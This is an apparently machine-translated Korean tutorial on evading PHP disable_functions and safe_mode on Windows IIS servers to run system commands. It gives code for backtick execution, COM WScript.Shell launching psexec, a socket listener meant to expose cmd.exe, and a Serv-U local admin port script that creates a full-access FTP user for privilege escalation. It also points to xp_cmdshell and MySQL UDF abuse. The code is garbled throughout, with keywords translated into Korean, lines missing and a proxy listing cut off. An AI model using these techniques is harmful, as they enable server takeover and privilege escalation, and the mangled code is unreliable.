WIN2000에서 WIN XP, 그리고 WIN2003에 이르기까지 MS IIS 서버 보안의 향상은 명백합니다. WIN2000에서는 일반 PHP SHELL이 이를 물리칠 수 있습니다. WIN XP에서는 안전 모드가 꺼진 경우에도 system()과 같은 함수를 사용하여 시스템 명령을 실행할 수 없지만 com() 함수를 사용하여 돌파할 수 있습니다. WIN 2003부터는 IIS와 PHP가 기본적으로 설치되어 있더라도 system() 또는 com()을 사용하여 이를 제거하지 못할 수 있습니다. 현재로서는 획기적인 발전을 이루기 위해 몇 가지 새로운 방법을 사용해야 합니다.
1. 비활성화 기능의 혁신
php-4.0.1 이상에서는 php.ini에 비활성화 기능이 도입되었습니다. 이 기능은 매우 유용하며 일부 기능을 비활성화하는 데 사용할 수 있습니다. 예를 들어, php.ini에 disable_functions = passthru exec system popen을 추가하면 이러한 함수를 실행할 때 경고 메시지가 표시됩니다. 보안상의 이유로 system()이 비활성화되었으며 프로그램이 종료됩니다. 그러나 시스템 명령을 실행할 수 있는 방법은 없습니다. 예를 들어, PHP는 많은 Perl 기능을 사용하므로 (`)를 사용하여 명령을 실행할 수도 있습니다. 샘플 코드는 다음과 같습니다.
<?$output = `ls -al`;echo "<pre>$output</pre> ";?>
이는 safe_mode를 on으로 설정해야만 피할 수 있다고 하는데, 지난번 외국 서버에서 사용했을 때에도 여전히 실패했습니다. 사람들이 항상 운이 좋은 것은 아닙니다 :)
2.
dl( ) 함수
PHP 내부 명령 실행 번호와 ''를 사용할 수 없는 경우 dl()을 사용해 볼 수 있습니다. 이 메서드는 안전 모드에서 비활성화되므로 안전 모드=off로만 사용할 수 있습니다. dl()을 사용하면 W32api 함수를 직접 호출할 수 있습니다. 불행하게도 이 확장은 PECL 라이브러리로 이동되었으며 PHP 5.1.0 이하부터는 더 이상 바인딩되지 않습니다. 다음은 매뉴얼의 예입니다.
// 이 확장을 로드합니다.
dl("php_w32api.dll");
// kernel32.dll에서 GetTickCount 함수를 등록합니다.
w32api_register_function("kernel32.dll",
"GetTickCount",
"long") ;
// User32.dll에서 MessageBoxA 함수를 등록합니다.
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
// 부팅 시간 정보 가져오기
$ticks = GetTickCount()
// 이해하기 쉽게 변환합니다
.text
$secs = Floor ($ticks / 1000);
$mins = Floor($secs / 60);
$hours = Floor($mins / 60);
$str = sprintf("귀하는 컴퓨터를 다음과 같이 사용했습니다."
"rn %d 밀리초, 또는 rn %d 초".
"또는 rn %d 분 또는rn %d 시간 %d 분.",
$ticks,
$secs,
$mins ,
$hours,
$ mins - ($hours*60));
// 확인 버튼과 부팅 시간 텍스트만 있는 메시지 대화 상자를 표시합니다
.
MessageBoxA
(NULL,
$str,
"Uptime Information",
MB_OK);
아직 이해가 안 되지만 dl()과 W32api에 대해 철저하게 이해하고 있으므로 독자의 오해를 피하기 위해 임의의 예를 제시하지는 않겠습니다.
3. COM 및 .Net(Windows) 기능 적용
COM(Component Object Model)은 Microsoft에서 개발한 소프트웨어 사양으로, 객체 지향적이고 컴파일된 소프트웨어 구성 요소를 개발하는 데 사용됩니다. 주로 Windows 플랫폼에서 사용됩니다.
Windows 버전의 PHP에는 이미 이 확장 모듈에 대한 지원이 내장되어 있습니다. COM 기능을 사용하기 위해 추가 확장 라이브러리를 로드할 필요가 없습니다. 사용법은 C++ 또는 Java에서 클래스를 생성하는 구문과 유사하며 COM 클래스 이름이 생성자에 매개 변수로 전달됩니다. 예를 들어, 시스템 명령을 실행하려면 PHP에서 "WScript.Shell"을 사용하십시오.
$cmd="E:/cert/admin/psexec.exe";
if($com=new COM("WScript.Shell")) echo "yes " ;
if(!$cmd1=$com->exec($cmd))
{
echo "exec()를 실행할 수 없습니다.";
}
if(!$cmd2=$cmd1->stdout())
{
echo "stdout을 실행할 수 없습니다( ) ";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
그림 1은 psexec.exe를 실행하기 위해 작성한 예입니다.
이 코드의 의미는 ASP와 완전히 동일합니다. 물론 ASP처럼 "ADODB.Connection"을 호출할 수도 있습니다. jet2 오버플로 취약점과 결합된 이 구성 요소를 사용하면 PHP Saft에서 Shell을 얻을 수 있습니다. 모드=켜짐.
//데이터베이스 연결 생성
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb")
; conn->Open($dsn);
//SQL 문자열을 통해 데이터 가져오기
$rs = $conn->Execute("웹에서 클라이언트 선택");
.....
?>
.Net 함수는 PHP 5에서만 실행할 수 있습니다. 물론 ".Net 런타임"의 지원이 필요하며 이는 아직 완전히 작동하지 않는 실험적인 PHP 모듈이므로 여기서는 논의하지 않겠습니다.
4. Java() 함수 적용
이 방법은 안전 모드가 켜진 경우에 적합합니다. JAVA 모듈 서버를 사용하려면 먼저 Java 가상 머신을 설치해야 하며, PHP 설치 및 구성 시 with-java 옵션을 활성화해야 합니다. 코드는 다음과 같습니다.
[
JAVA]
;
java.class.path = .php_java.jar
;JDK 경로
;Java.home = f:jdk1.3.0
;가상 머신 경로
;Java.library=f:jdk1.3.0jrebinhostspotjvm .dll은
COM과 동일합니다. Java(JavaBeans뿐만 아니라)에서 클래스를 생성하려면 JAVA 클래스 이름을 생성자에 매개 변수로 전달하기만 하면 됩니다. 다음은 매뉴얼의 예입니다.
// 이 예는 CGI로만 실행하기 위한 것입니다.
$
frame = new Java('java.awt.Frame', 'PHP');
awt.Button', 'Hello Java World!');
$frame-
>validate();
$
frame->visible = True ;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose()
?>
아쉽게도 JAVA를 실제로 지원하는 서버는 많지 않습니다. 에 이렇게까지 논의할 필요는 없습니다.
5. 소켓() 함수 적용
소켓은 PHP에서 매우 강력한 모듈입니다. 높은 수준의 추상 인터페이스(fsockopen() 및 psockopen 함수로 열린 소켓)를 사용하는 경우 "php_sockets.dll"을 열 필요가 없습니다. 의. 그러나 완전한 소켓 기능 블록을 사용하려면 php.ini에서 다음과 같이 설정해야 합니다.
; Windows 확장
; 이제 MySQL 및 ODBC 지원이 내장되어 있으므로 dll이 필요하지 않습니다
.
; 다음 문장을 제거합니다. 앞에 있는 세미콜론
; Extension=php_sockets.dll은
포트 전달/리디렉션, 패킷 스니핑, 로컬 오버플로 및 기타 기능을 구현하기 위해 PHP의 소켓 함수 블록을 사용합니다. 또한 TCP/UDP 서버를 구축하는 데에도 사용할 수 있으며 동시에 서버 보안 정책을 돌파하는 가장 좋은 방법이라고 생각합니다. 다음은 서버에 포트를 열어 TCP 서버를 구성하는 예입니다. 이를 사용하여 서버의 cmd.exe를 번들로 묶을 수 있습니다.
//서버에 TCP 서비스를 구성합니다
.//이 예에서는 php_sockets.dll 지원이 필요합니다.
//실행 후 "telnet 127.0.0.1 1020"을 사용하여 연결할 수 있습니다.
error_reporting(E_ALL);
/* 스크립트가 연결을 기다리도록 허용합니다. */
set_time_limit(0)
/* 우리가 볼 수 있도록 암시적 출력 플러시를 켭니다
.* 들어오는 대로
얻는 것
. */ob_implicit_flush();
//서버의 IP와 포트를 바인딩합니다.
$address = '127.0.0.1'
$port = 1020
if (($sock = 소켓_create(AF_INET, SOCK_STREAM, SOL_TCP) ) < 0) {
echo "socket_create() 실패: 이유: " . 소켓_strerror($sock) . "n"
}
if (($ret = 소켓_bind($sock, $address, $port)) < 0) {
echo "socket_bind() 실패: 이유: " . 소켓_strerror($ret) . "n";
}
if (($ret = 소켓_listen($sock, 5)) < 0) {
echo "socket_listen() 실패: 이유: " . 소켓_strerror($ret) . "n";
}
do {
if (($msgsock = 소켓_accept($sock)) < 0) {
echo "socket_accept() 실패: 이유: " . 소켓_strerror($ msgsock) . " n";
break;
}
/* 명령 보내기 */
$msg = "nPHP 테스트 서버에 오신 것을 환영합니다. n" .
"종료하려면 'quit'을 입력하세요. shutdown'. n";
소켓_write($msgsock, $msg, strlen($msg));
do {
if (false === 소켓_recv($msgsock, $buf, 1024, 0)) {
echo "socket_read() 실패 : 이유: " .socket_strerror($ret) . "n";
중단 2;
}
if (!$buf = Trim($buf)) {
계속;
}
if ($buf == 'quit') {
중단;
}
if ($buf == 'shutdown') {
소켓_close($msgsock)
;
}
$
talkback = "PHP: '$buf'라고 말씀하셨습니다.n";
));
echo "$bufn";
//다음은 수신된 buf를 처리합니다.
/*예:
$
buf="cmd.exe /c netstat –an";
r');
while ($read = fgets($pp, 2096))
echo $read;
pclose
($pp)
*/
} while (true
)
;
sock);
?>
실제로 많은 호스트는 php_sockets.dll을 로드하지 않습니다. 다행히도 소켓 모듈 지원이 필요하지 않은 "fsockopen" 함수만 사용하면 충분합니다. "fsockopen"이 있는 한, 외부 세계에 공개되지 않은 이 시스템의 포트를 자유롭게 읽고 쓸 수 있기 때문입니다. 권한 상승을 위해 fsockopen을 사용하여 serv-u의 로컬 관리 포트 43958(참고: 이 포트는 외부에서 연결할 수 없음)을 읽고 쓰는 것이 일반적인 예입니다:
$adminuser="LocalAdministrator"
$adminport=" 43958";
$fp = fsockopen ("127.0.0.1", $adminport, $errno, $errstr, 8)
{
echo "$errstr ( $errno)
n";
} else {
//$shellcode를 작성할 수 있습니다.
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."rn");
sleep ( 1);
fputs($fp, "PASS ".$adminpass.
"rn");
fputs
(
$fp, "사이트 유지 관리rn");
$fp, "-SETUSERSETUPrn");
fputs ($fp, "-IP=".$addr."rn");
fputs ($fp, "-PortNo=".$ftpport." rn");
fputs($fp, "-User=".$user."rn");
fputs($fp, "-Password=".$password."rn") ;
fputs ($fp, "-HomeDir=".$homedir."rn");
fputs ($fp, "-LoginMesFile=rn");
fputs ($fp, "-Disable=0 rn");
fputs($fp, "-RelPaths=0rn");
fputs($fp, "-NeedSecure=0rn");
fputs($fp, "-HideHidden=0 rn");
fputs($fp, "-AlwaysAllowLogin=0rn");
fputs($fp, "-ChangePassword=1rn");
fputs($fp, "-QuotaEnable= 0rn");
fputs($fp, "-MaxUsersLoginPerIP=-1rn");
fputs($fp, "-SpeedLimitUp=-1rn");
fputs($fp, " -SpeedLimitDown=-1rn");
fputs($fp, "-MaxNrUsers=-1rn");
fputs($fp, "-IdleTimeOut=600rn");
fputs($ fp, "-SessionTimeOut=-1rn");
fputs ($fp, "-Expire=0rn")
fputs
($fp, "-RatioUp=1rn");
($fp, "-RatioDown=1rn");
fputs($fp, "-RatiosCredit=0rn");
fputs($fp, "-QuotaCurrent=0rn");
fputs($fp, "-QuotaMaximum=0rn");
fputs($fp, "-Maintenance=Systemrn");
fputs($fp, "-PasswordType=Regularrn") ;
fputs ($fp, "-Ratios=Nonern");
fputs ($fp, " Access=".$homedir."|RWAMELCDPrn")
fputs ($fp, "QUITr n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp, 128);
}
}
?>
또한 fsockopen을 사용하여 외부 네트워크에 액세스하기 위한 HTTP 프록시를 작성할 수도 있습니다. 로컬 컴퓨터. 외부에서 접근 가능한 웹사이트. 긴 코드가 포함된 완전한 HTTPProxy(그림 4)가 있습니다. 관심 있는 독자들은 살펴보시기 바랍니다.
6. MYSQL/MSSQL 인터페이스는
Windows에서 mysql/MSSQL을 일반적으로 시스템 관리자 권한으로 실행한다는 점에서 Linux와 다릅니다. 따라서 로컬 SQL 데이터베이스에서 root/sa 비밀번호만 알 수 있으면 직접 사용할 수 있습니다. . PHP는 데이터베이스에 연결하여 시스템 명령을 실행합니다.
Mysql에서 시스템 명령을 실행하려면 사용자 정의 함수 "MySQL UDF 동적 라이브러리"의 취약점을 활용해야 합니다. MSSQL에서는 데이터베이스에 연결하기만 하면 "master..xp_cmdshell" 확장 실행 명령을 직접 호출할 수 있습니다. 권한은 물론 시스템 권한입니다.
요약하자면, 시스템, IIS 및 PHP의 버전이 다르기 때문에 위에서 언급한 획기적인 방법이 변경될 수 있습니다. PHP에는 사용할 수 있는 많은 확장 기능이 있습니다. system() 시스템 명령 실행 기능에서 벗어나십시오. 시스템 보안정책의 제약을 돌파하라!
Proxy.php 코드가 첨부되어 있습니다.
error_reporting(E_ALL);
/*
// 이 프로그램은 무료 소프트웨어입니다.// 자유 소프트웨어에서 게시한
GNU 일반 공중 사용 허가서의 조건에 따라 // 수정할
수
있습니다.Foundation;
// 라이센스 버전 2 또는 (귀하의 선택에 따라) 이후 버전
//
// 이 프로그램은 유용할 것이라는 희망으로 배포되지만
// 묵시적인 보증은 없습니다.
// 특정 목적에
대한
상품성 또는 적합성.자세한 내용은 // GNU 일반 공중 라이센스를 참조하십시오.
//
//이 프로그램과 함께
GNU 일반 공중 라이센스의 사본을 받았어야 합니다
.자유 소프트웨어
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
//--------- ----- ------------------- --
// 클래스: PHProxy
// 작성자: Ultimategamer00 (Abdullah A.)
// 최종 수정: 6:28 PM 6/22/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() Stripslashes($str) : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM'); ,
$알파[0], $alpha[1] );
}
}
클래스 PHProxy
{
var $allowed_hosts = array();
var
$
script_url;
var
$flags = array('include_form' => 1) Remove_scripts' => 1, 'accept_cookies' => 1, 'show_referer' => 1)
var
$socket
;var
$
request_headers
;
response_body;
function PHProxy( $flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . (isset( $this->url_segments ['query']) ? "?" : '') . " HTTP/1.0rn"
.= "호스트:rn"
.= "사용자 -에이전트: Mozilla/ 4.0(호환; MSIE 6.0; Windows NT 5.1)rn";
$headers .= "수락: text/xml, application/xml, application/xhtml+xml, text/html; , 텍스트/일반; q=0.8, 비디오/x-mng, 이미지/png, 이미지/jpeg, 이미지/gif; q=0.1rn";
$headers .= "연결 : closern";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: rn";
}
$cookies = $this->get_cookies();
$headers .= $ 쿠키 != '' ? "쿠키: $cookiesrn" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query' ]) ? "? " : '') . " HTTP/1.0rn";
$headers .= "호스트:rn" .
= "사용자 에이전트: Mozilla/4.0(호환 가능) MSIE 6.0; Windows NT 5.1)rn";
$headers .= "수락: text/xml, application/xml, application/xhtml+xml, text/html;q=0.9, text/plain;q=0.8, video/x-mng , image/png, image/jpeg, image/gif;q=0.2,*/*;q=0.1rn";
$headers .= "연결: 닫기rn";
if ($this-> flags['show_referer'] == 1)
{
$headers .= "참조자: rn";
}
$cookies = $this->get_cookies();
$headers .= $cookies != ' ' ? "쿠키: $cookiesrn" : ''
if (